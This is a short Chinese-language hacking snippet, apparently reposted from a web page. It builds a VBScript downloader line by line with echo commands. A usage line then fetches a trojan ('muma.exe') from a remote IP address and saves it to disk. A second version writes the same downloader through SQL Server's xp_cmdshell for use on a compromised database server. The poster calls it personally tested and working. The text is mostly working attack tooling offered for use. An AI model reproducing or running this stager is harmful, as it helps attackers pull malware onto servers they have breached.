echo iLocal = LCase(WScript.Arguments(1)) >c://iget.vbs
echo iRemote = LCase(WScript.Arguments(0)) >>c://iget.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>c://iget.vbs
echo xPost.Open "GET",iRemote,0 >>c://iget.vbs
echo xPost.Send() >>c://iget.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>c://iget.vbs
echo sGet.Mode = 3 >>c://iget.vbs
echo sGet.Type = 1 >>c://iget.vbs
echo sGet.Open() >>c://iget.vbs
echo sGet.Write(xPost.responseBody) >>c://iget.vbs
echo sGet.SaveToFile iLocal,2 >>c://iget.vbs
用法: cscript c://iget.vbs http://111.111.111.111/muma.exe c://muma.exe
sqlserver有xp_cmdshell权限的时候就直接这么写就好:
exec ..xp_cmdshell 'echo iLocal = LCase(WScript.Arguments(1)) >d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo iRemote = LCase(WScript.Arguments(0)) >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo xPost.Open "GET",iRemote,0 >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo xPost.Send() >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo Set sGet = CreateObject("ADODB.Stream") >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo sGet.Mode = 3 >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo sGet.Type = 1 >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo sGet.Open() >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo sGet.Write(xPost.responseBody) >>d://SQLDATA//iget.vbs'
exec ..xp_cmdshell 'echo sGet.SaveToFile iLocal,2 >>d://SQLDATA//iget.vbs'
转自:http://www.bitscn.com/pdb/vbs/512167.html
亲测好用